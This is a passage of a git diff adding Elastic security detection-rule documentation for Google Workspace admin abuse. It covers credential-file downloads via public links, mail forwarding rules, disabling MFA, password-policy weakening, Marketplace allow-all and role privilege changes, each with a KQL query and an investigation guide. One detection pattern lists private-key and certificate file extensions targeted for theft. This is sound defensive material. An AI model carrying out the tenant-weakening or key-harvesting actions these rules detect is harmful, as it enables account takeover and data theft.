data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +file where data_stream.dataset == "google_workspace.drive" and event.action : ("copy", "view", "download") and + google_workspace.drive.visibility: "people_with_link" and source.user.email == "" and + file.extension: ( + "token","assig", "pssc", "keystore", "pub", "pgp.asc", "ps1xml", "pem", "gpg.sig", "der", "key", + "p7r", "p12", "asc", "jks", "p7b", "signature", "gpg", "pgp.sig", "sst", "pgp", "gpgz", "pfx", "crt", + "p8", "sig", "pkcs7", "jceks", "pkcs8", "psc1", "p7c", "csr", "cer", "spc", "ps2xml") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc new file mode 100644 index 0000000000..319c5fbf10 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-google-workspace-gmail-routing-or-forwarding-rule-created-or-modified]] +=== Google Workspace Gmail Routing or Forwarding Rule Created or Modified + +Detects when a Gmail routing, mail-forwarding, or custom mail-host setting is created or modified in Google Workspace. Adversaries with administrative access can add Routing rules (also deliver to / change envelope recipient), recipient address map forwarding, or mail hosts and outbound gateways to copy or redirect sensitive email for collection. + +*Rule type*: query + +*Rule indices*: + +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-20m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2685650?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Gmail Routing or Forwarding Rule Created or Modified* + + +Gmail administrators can change where mail is delivered using several Admin console areas under Apps > Google Workspace > Gmail: + +- Routing — specialized rules (modify message, change route, also deliver to, change envelope recipient). Audit: `UNIFIED_MAIL_ROUTING` or `MESSAGE_SECURITY_RULE` (legacy); `google_workspace.admin.setting.metadata.rule.type` may repeat the legacy type on `RuleState` rows. +- Email forwarding using recipient address map — rewrite or forward by address mapping. Audit: `ALIAS_TABLE`. +- Hosts / Outbound gateway — custom SMTP routes. Audit: `EMAIL_ROUTE`. + +Google may emit multiple admin audit events per single save (legacy `CREATE_GMAIL_SETTING`, new `CREATE_APPLICATION_SETTING`, rule body, and rule enabled state). Expect duplicate documents at the same `@timestamp`; correlate on `user.name`, `google_workspace.admin.USER_DEFINED_SETTING_NAME` (rule id), and `event.id`. + + +*Possible investigation steps* + + +- Identify the administrator (`user.name`, `user.email`) and confirm the change was authorized. +- In Admin console, review the rule matching `google_workspace.admin.USER_DEFINED_SETTING_NAME`: + - Routing (`UNIFIED_MAIL_ROUTING`, `MESSAGE_SECURITY_RULE`): Apps > Gmail > Routing + - Recipient address map (`ALIAS_TABLE`): Apps > Gmail > Default routing > Email forwarding using recipient address map + - Mail hosts / outbound gateway (`EMAIL_ROUTE`): Apps > Gmail > Hosts +- Map the alert to the admin area using `google_workspace.admin.setting.name` and `google_workspace.admin.setting.metadata.rule.type` +- Review whether the rule adds also deliver to, change envelope recipient, or routes to an external mail host or domain. +- Review related `event.action` values for the same administrator in the last 48 hours. +- If licensed for Gmail log events (BigQuery / Enterprise Plus), use Reporting > Audit and investigation > Gmail log events to confirm messages were delivered per the rule (`message_info.flattened_destinations`, `triggered_rule_info`). +- Submit suspicious URLs or attachments from affected mail to reputational services as needed. + + +*False positive analysis* + + +- Legitimate mail migrations, journaling, compliance archiving, and internal dual-delivery are common. +- Tune with exceptions for known administrator accounts, rule ids (`USER_DEFINED_SETTING_NAME`), or approved external domains. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule uses `timestamp_override = event.ingested` and is configured to run every 10 minutes with a lookback of 20 minutes, aligned with the integration's default Admin poll interval (`interval`: 15m) and lag time (`lag_time`: 3m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/docs/reference/integrations/google_workspace + +==== Setup + + +The Google Workspace Fleet integration with the Admin data stream (`logs-google_workspace.admin-*`) is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:( + "CREATE_GMAIL_SETTING" or "CHANGE_GMAIL_SETTING" + or "CREATE_APPLICATION_SETTING" or "CHANGE_APPLICATION_SETTING" +) +and ( + google_workspace.admin.setting.name:( + "UNIFIED_MAIL_ROUTING" + or "ALIAS_TABLE" + or "EMAIL_ROUTE" + or "MESSAGE_SECURITY_RULE" + ) + or google_workspace.admin.setting.metadata.rule.type:( + "UNIFIED_MAIL_ROUTING" + or "ALIAS_TABLE" + or "EMAIL_ROUTE" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc new file mode 100644 index 0000000000..01f2779ff2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-mfa-enforcement-disabled-for-organization.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-google-workspace-mfa-enforcement-disabled-for-organization]] +=== Google Workspace MFA Enforcement Disabled For Organization + +Detects when an administrator disables multi-factor authentication enforcement or removes the ability for users to enroll in 2-step verification across a Google Workspace organization or organizational unit. Adversaries with administrative access may weaken tenant-wide authentication requirements to enable password-only sign-ins, facilitate credential abuse at scale, and reduce friction for follow-on account takeover across the domain. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Impact +* Tactic: Credential Access +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace MFA Enforcement Disabled For Organization* + + +Threat actors with Google Workspace administrative access may disable organization-wide 2-step verification (2SV) +controls to weaken authentication for many users at once. Unlike a single user turning off 2SV on their own account, +this change affects tenant policy and can allow password-only sign-ins across an organizational unit or the entire +domain. This supports large-scale credential abuse, reduces MFA friction for follow-on compromise, and can blind +security teams if paired with other admin tampering. + +This rule identifies when an administrator sets `google_workspace.admin.new_value` to `false` for either +`ENFORCE_STRONG_AUTHENTICATION` (2SV enforcement turned off) or `ALLOW_STRONG_AUTHENTICATION` (users can no longer turn +on 2SV). + + +*Possible investigation steps* + + +- Identify the initiating (actor) administrator by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the setting changed by reviewing `event.action`: + - `ENFORCE_STRONG_AUTHENTICATION` — 2SV enforcement was disabled for the affected scope. + - `ALLOW_STRONG_AUTHENTICATION` — users were prevented from turning on 2SV. +- Review `google_workspace.admin.old_value` and `google_workspace.admin.new_value` to confirm the prior and updated policy state. +- Determine the scope of impact by reviewing `google_workspace.admin.org_unit.name` (if present) and identifying which users or groups inherit the weakened policy. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request/ticket and that the actor is authorized to modify authentication policy. + - If the actor account or `source.ip` is unusual, treat the alert as higher priority until proven benign. +- Search Kibana for related authentication and admin activity: + - Use the following KQL example to find other MFA policy changes by the same actor: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ENFORCE_STRONG_AUTHENTICATION" or "ALLOW_STRONG_AUTHENTICATION") + ``` + - Search for user-level 2SV disables that follow this change: + ``` + data_stream.dataset: ("google_workspace.login" or "google_workspace.user_accounts") and event.action: "2sv_disable" + ``` + - Scope for other security-weakening admin actions from the same `user.email` within the last 48 hours, such as password policy changes, SSO/SAML modifications, or role assignments. + + +*False positive analysis* + + +- Verify the MFA policy change aligns with an approved change window, migration, or troubleshooting activity. +- Confirm the initiating administrator is legitimate and not acting from unusual IPs, devices, or locations. +- Even authorized changes materially weaken tenant security, validate business justification and time-bound rollback plans. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the change is not clearly authorized, restore 2SV enforcement and re-enable Allow users to turn on 2-Step Verification for the affected scope while the investigation proceeds. +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review delegated admin roles assigned to that account. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin + and event.action:(ENFORCE_STRONG_AUTHENTICATION or ALLOW_STRONG_AUTHENTICATION) + and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-password-policy-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-password-policy-modified.asciidoc new file mode 100644 index 0000000000..a4a4823eab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-password-policy-modified.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-google-workspace-password-policy-modified]] +=== Google Workspace Password Policy Modified + +Detects when a Google Workspace administrator modifies organization password policy settings. Adversaries with administrative access may weaken password requirements, such as disabling strong password enforcement, allowing password reuse, or reducing minimum length, to increase the success of password spraying and credential stuffing against tenant accounts and to sustain access after initial compromise. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/7061566 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Password Policy Modified* + + +Threat actors with Google Workspace administrative access may modify tenant password policies to weaken authentication +controls across an organizational unit or domain. Relaxing password complexity, reuse, or rotation requirements increases +the likelihood of successful password spraying, credential stuffing, and reuse of passwords exposed in third-party +breaches. Because policy changes apply to all users in scope, a single modification can materially expand the attack +surface for the entire unit. + +Saving changes in the Admin console can update multiple password settings at once. Google logs each setting change as a +separate `CHANGE_APPLICATION_SETTING` or `CREATE_APPLICATION_SETTING` event (for example, minimum length, maximum +length, reset frequency, strong password enforcement, and password reuse). Alert suppression groups by `user.email`, +`google_workspace.admin.org_unit.name`, and `source.ip` within the rule lookback so analysts receive one alert per +password policy modification session instead of one alert per setting. + + +*Possible investigation steps* + + +- Identify the initiating (actor) administrator by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the setting changed in the alert by reviewing `google_workspace.admin.setting.name`. +- Review `google_workspace.admin.old_value` and `google_workspace.admin.new_value` to determine whether the change weakened policy. Examples of high-risk changes include: + - `Password Management - Enforce strong password` set to disabled + - `Password Management - Enable password reuse` set to enabled + - `Password Management - Minimum password length` reduced + - `Password Management - Password reset frequency` increased (less frequent rotation) +- Identify the scope of impact by reviewing `google_workspace.admin.org_unit.name` and determining which users inherit the updated policy. +- Determine whether the modification is expected and authorized: + - If the actor account or `source.ip` is unusual, treat the alert as higher priority until proven benign. +- Search Kibana for all password settings changed in the session: + - In Discover (or the alert investigation workflow), search Google Workspace admin logs with a time range centered on the alert timestamp (±5 minutes). + - Use the following KQL example, replacing `` and `` as needed: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: ("CHANGE_APPLICATION_SETTING" or "CREATE_APPLICATION_SETTING") and user.email: "" and google_workspace.admin.setting.name: Password Management - * + ``` + - Optionally filter on `google_workspace.admin.org_unit.name: ""` to isolate changes for the same organizational unit. + - Review all `google_workspace.admin.setting.name`, `google_workspace.admin.old_value`, and `google_workspace.admin.new_value` fields returned to understand the full scope of the modification. +- Scope for related activity by searching for the same `user.email` performing other security-weakening admin actions within the last 48 hours, such as MFA enforcement changes, SSO/SAML modifications, or role assignments. + + +*False positive analysis* + + +- Verify the password policy change aligns with an approved change window, compliance exception, or migration activity. +- Policy hardening can also generate alerts for this rule — use `old_value` and `new_value` to distinguish benign hardening from weakening changes. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the modification is not clearly authorized, restore password policy settings to their prior values for the affected organizational unit while the investigation proceeds. +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review delegated admin roles assigned to that account. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators might observe lag times ranging from several minutes to 3 days between the event occurrence time and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, the Filebeat module, or data that's similarly structured is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and + event.action:(CHANGE_APPLICATION_SETTING or CREATE_APPLICATION_SETTING) and + google_workspace.admin.setting.name:( + "Password Management - Enforce strong password" or + "Password Management - Password reset frequency" or + "Password Management - Enable password reuse" or + "Password Management - Enforce password policy at next login" or + "Password Management - Minimum password length" or + "Password Management - Maximum password length" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc new file mode 100644 index 0000000000..b0827b86fb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app]] +=== Google Workspace Restrictions for Marketplace Modified to Allow Any App + +Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6089179?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Restrictions for Marketplace Modified to Allow Any App* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Applications can be installed by individual users, if they have permission, or can be installed for an entire Google Workspace domain by administrators. Consent screens typically display what permissions and privileges the application requires during installation. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any product on the Marketplace that originates from a source other than Google. + +This rule identifies when the global allow-all setting is enabled for Google Workspace Marketplace applications. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Confirm `google_workspace.admin.new_value` is `ALLOW_ALL` and review `google_workspace.admin.old_value` for the prior restriction. +- In the admin console, verify the change under `Apps > Google Workspace Marketplace apps` (global allowlist access setting). +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- Search for `event.action` is `ADD_APPLICATION` to identify applications installed after these changes were made. + - The `google_workspace.admin.application.name` field will help identify what applications were added. +- With the user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Google Workspace administrators may intentionally enable allow-all marketplace access based on organizational needs. + - Follow up with the administrator who made the change to ensure this was intended. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" + and google_workspace.event.type:"APPLICATION_SETTINGS" and google_workspace.admin.application.name:"Google Workspace Marketplace" + and google_workspace.admin.setting.name:"Apps Access Setting Allowlist access" and google_workspace.admin.new_value:"ALLOW_ALL" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-role-modified.asciidoc new file mode 100644 index 0000000000..c5fb050f8f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-role-modified.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-google-workspace-role-modified]] +=== Google Workspace Role Modified + +Detects when a custom admin role or its privileges are modified in Google Workspace. Adversaries may add or expand privileges on an existing role to elevate access for assigned users or groups without creating a new role or directly assigning a well-known admin role. Because privilege changes take effect for all principals assigned the role, modifying role permissions can silently expand access across multiple accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Privilege Escalation +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Role Modified* + + +Google Workspace allows administrators to modify custom admin roles by adding, removing, or updating privileges across +services such as Users, Groups, Gmail, Drive, and Security. Threat actors may expand privileges on an existing role to +establish persistence or escalate access for accounts already assigned that role, without triggering role assignment +alerts. Selecting a privilege category in the Admin console (for example, Organization Units) can add multiple related +privilege groups in a single action, each logged as a separate `ADD_PRIVILEGE` event. + +This rule identifies when a Google Workspace role is modified via `ADD_PRIVILEGE` or `UPDATE_ROLE` events. Alert +suppression groups alerts by `user.email`, `google_workspace.admin.role.name`, and `source.ip` within a 130-minute window +(matching the rule lookback) so analysts receive one alert per role modification session instead of one 